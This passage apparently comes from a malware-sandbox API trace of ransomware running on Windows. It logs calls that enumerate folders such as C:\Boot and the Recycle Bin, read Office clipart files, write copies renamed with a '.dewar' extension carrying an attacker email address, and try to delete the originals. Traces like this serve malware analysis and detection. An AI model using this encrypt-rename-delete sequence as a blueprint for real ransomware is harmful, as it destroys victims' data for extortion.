dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0287.332] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0287.332] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1f8 [0287.333] ReadFile (in: hFile=0x128, lpBuffer=0x32c0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x319fa7c, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesRead=0x319fa7c*=0x66dc, lpOverlapped=0x0) returned 1 [0287.340] WriteFile (in: hFile=0x1f8, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0x66e0, lpOverlapped=0x0) returned 1 [0287.344] WriteFile (in: hFile=0x1f8, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0xf2, lpOverlapped=0x0) returned 1 [0287.344] CloseHandle (hObject=0x128) returned 1 [0287.350] CloseHandle (hObject=0x1f8) returned 1 [0287.351] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf")) returned 0 [0287.352] SetEvent (hEvent=0x118) returned 1 [0287.352] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0287.353] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=27858) returned 1 [0287.353] CloseHandle (hObject=0x1f8) returned 1 [0287.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf")) returned 0x20 [0287.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf")) returned 0x20 [0287.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0287.354] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0287.354] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0287.355] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0287.355] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) Thread: id = 54 os_tid = 0x674 [0208.264] GetProcessHeap () returned 0x560000 [0208.264] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x38) returned 0x597530 [0208.265] GetProcessHeap () returned 0x560000 [0208.265] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x18) returned 0x57cb18 [0208.265] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x16c [0208.265] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x174 [0208.265] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x178 [0208.265] GetProcessHeap () returned 0x560000 [0208.265] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x6325a8 [0208.266] GetProcessHeap () returned 0x560000 [0208.266] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x6425b0 [0208.267] GetProcessHeap () returned 0x560000 [0208.267] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x50) returned 0x5971e0 [0208.267] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x750a0000 [0208.268] GetProcAddress (hModule=0x750a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750cd650 [0208.268] Wow64DisableWow64FsRedirection (in: OldValue=0x2fffb64 | out: OldValue=0x2fffb64*=0x0) returned 1 [0208.268] GetProcessHeap () returned 0x560000 [0208.268] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5971e0 | out: hHeap=0x560000) returned 1 [0208.268] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x8c53ac, lpParameter=0x2fffb6c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17c [0208.293] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x8c53ac, lpParameter=0x2fffb6c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x180 [0208.295] GetProcessHeap () returned 0x560000 [0208.295] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b00048 [0208.297] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x2fff8e0 | out: lpFindFileData=0x2fff8e0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x5971e0 [0208.298] GetProcessHeap () returned 0x560000 [0208.298] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b10050 [0208.299] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\*", lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x597220 [0208.300] FindNextFileW (in: hFindFile=0x597220, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.300] FindNextFileW (in: hFindFile=0x597220, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb52f77c0, ftLastAccessTime.dwHighDateTime=0x1d5e0d0, ftLastWriteTime.dwLowDateTime=0xb52f77c0, ftLastWriteTime.dwHighDateTime=0x1d5e0d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0208.300] GetProcessHeap () returned 0x560000 [0208.300] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b21060 [0208.301] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb52f77c0, ftLastAccessTime.dwHighDateTime=0x1d5e0d0, ftLastWriteTime.dwLowDateTime=0xb52f77c0, ftLastWriteTime.dwHighDateTime=0x1d5e0d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x597260 [0208.301] FindNextFileW (in: hFindFile=0x597260, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb52f77c0, ftLastAccessTime.dwHighDateTime=0x1d5e0d0, ftLastWriteTime.dwLowDateTime=0xb52f77c0, ftLastWriteTime.dwHighDateTime=0x1d5e0d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.301] FindNextFileW (in: hFindFile=0x597260, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xb52f77c0, ftCreationTime.dwHighDateTime=0x1d5e0d0, ftLastAccessTime.dwLowDateTime=0xb52f77c0, ftLastAccessTime.dwHighDateTime=0x1d5e0d0, ftLastWriteTime.dwLowDateTime=0xb52f77c0, ftLastWriteTime.dwHighDateTime=0x1d5e0d0, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0208.302] FindNextFileW (in: hFindFile=0x597260, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x67ffea70, ftCreationTime.dwHighDateTime=0x1d5e0d0, ftLastAccessTime.dwLowDateTime=0x67ffea70, ftLastAccessTime.dwHighDateTime=0x1d5e0d0, ftLastWriteTime.dwLowDateTime=0x683dce30, ftLastWriteTime.dwHighDateTime=0x1d5e0d0, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[9C354B42-2713].[chagenak@airmail.cc].dewar", cAlternateFileName="DESKTO~1.DEW")) returned 1 [0208.302] FindNextFileW (in: hFindFile=0x597260, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x67ffea70, ftCreationTime.dwHighDateTime=0x1d5e0d0, ftLastAccessTime.dwLowDateTime=0x67ffea70, ftLastAccessTime.dwHighDateTime=0x1d5e0d0, ftLastWriteTime.dwLowDateTime=0x683dce30, ftLastWriteTime.dwHighDateTime=0x1d5e0d0, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[9C354B42-2713].[chagenak@airmail.cc].dewar", cAlternateFileName="DESKTO~1.DEW")) returned 0 [0208.302] FindClose (in: hFindFile=0x597260 | out: hFindFile=0x597260) returned 1 [0208.302] GetProcessHeap () returned 0x560000 [0208.302] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b21060 | out: hHeap=0x560000) returned 1 [0208.302] FindNextFileW (in: hFindFile=0x597220, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb52f77c0, ftLastAccessTime.dwHighDateTime=0x1d5e0d0, ftLastWriteTime.dwLowDateTime=0xb52f77c0, ftLastWriteTime.dwHighDateTime=0x1d5e0d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0208.303] FindClose (in: hFindFile=0x597220 | out: hFindFile=0x597220) returned 1 [0208.303] GetProcessHeap () returned 0x560000 [0208.303] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b10050 | out: hHeap=0x560000) returned 1 [0208.303] FindNextFileW (in: hFindFile=0x5971e0, lpFindFileData=0x2fff8e0 | out: lpFindFileData=0x2fff8e0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6868a6f0, ftLastAccessTime.dwHighDateTime=0x1d5e0d0, ftLastWriteTime.dwLowDateTime=0x6868a6f0, ftLastWriteTime.dwHighDateTime=0x1d5e0d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0208.303] GetProcessHeap () returned 0x560000 [0208.303] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b10050 [0208.303] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6868a6f0, ftLastAccessTime.dwHighDateTime=0x1d5e0d0, ftLastWriteTime.dwLowDateTime=0x6868a6f0, ftLastWriteTime.dwHighDateTime=0x1d5e0d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2b74498 [0211.752] FindNextFileW (in: hFindFile=0x2b74498, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6868a6f0, ftLastAccessTime.dwHighDateTime=0x1d5e0d0, ftLastWriteTime.dwLowDateTime=0x6868a6f0, ftLastWriteTime.dwHighDateTime=0x1d5e0d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.752] FindNextFileW (in: hFindFile=0x2b74498, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0211.752] FindNextFileW (in: hFindFile=0x2b74498, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0211.752] FindNextFileW (in: hFindFile=0x2b74498, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0211.753] FindNextFileW (in: hFindFile=0x2b74498, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0211.753] FindNextFileW (in: hFindFile=0x2b74498, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x68664590, ftCreationTime.dwHighDateTime=0x1d5e0d0, ftLastAccessTime.dwLowDateTime=0x68664590, ftLastAccessTime.dwHighDateTime=0x1d5e0d0, ftLastWriteTime.dwLowDateTime=0x6868a6f0, ftLastWriteTime.dwHighDateTime=0x1d5e0d0, nFileSizeHigh=0x0, nFileSizeLow=0x10102, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT.id[9C354B42-2713].[chagenak@airmail.cc].dewar", cAlternateFileName="BOOTST~1.DEW")) returned 1 [0211.753] FindNextFileW (in: hFindFile=0x2b74498, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0211.753] GetProcessHeap () returned 0x560000 [0211.753] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b75a48 [0211.755] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2b744d8 [0211.755] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.755] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0211.756] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0211.756] FindClose (in: hFindFile=0x2b744d8 | out: hFindFile=0x2b744d8) returned 1 [0211.756] GetProcessHeap () returned 0x560000 [0211.756] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b75a48 | out: hHeap=0x560000) returned 1 [0211.756] FindNextFileW (in: hFindFile=0x2b74498, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0211.756] GetProcessHeap () returned 0x560000 [0211.756] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b75a48 [0211.756] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*", lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2b744d8 [0211.757] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.757] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0211.757] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0211.757] FindClose (in: hFindFile=0x2b744d8 | out: hFindFile=0x2b744d8) returned 1 [0211.758] GetProcessHeap () returned 0x560000 [0211.758] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b75a48 | out: hHeap=0x560000) returned 1 [0211.758] FindNextFileW (in: hFindFile=0x2b74498, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0211.758] GetProcessHeap () returned 0x560000 [0211.758] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b75a48 [0211.758] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*", lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2b744d8 [0211.758] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.759] FindNextFileW (in: hFindFile=0x2b744d8, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, 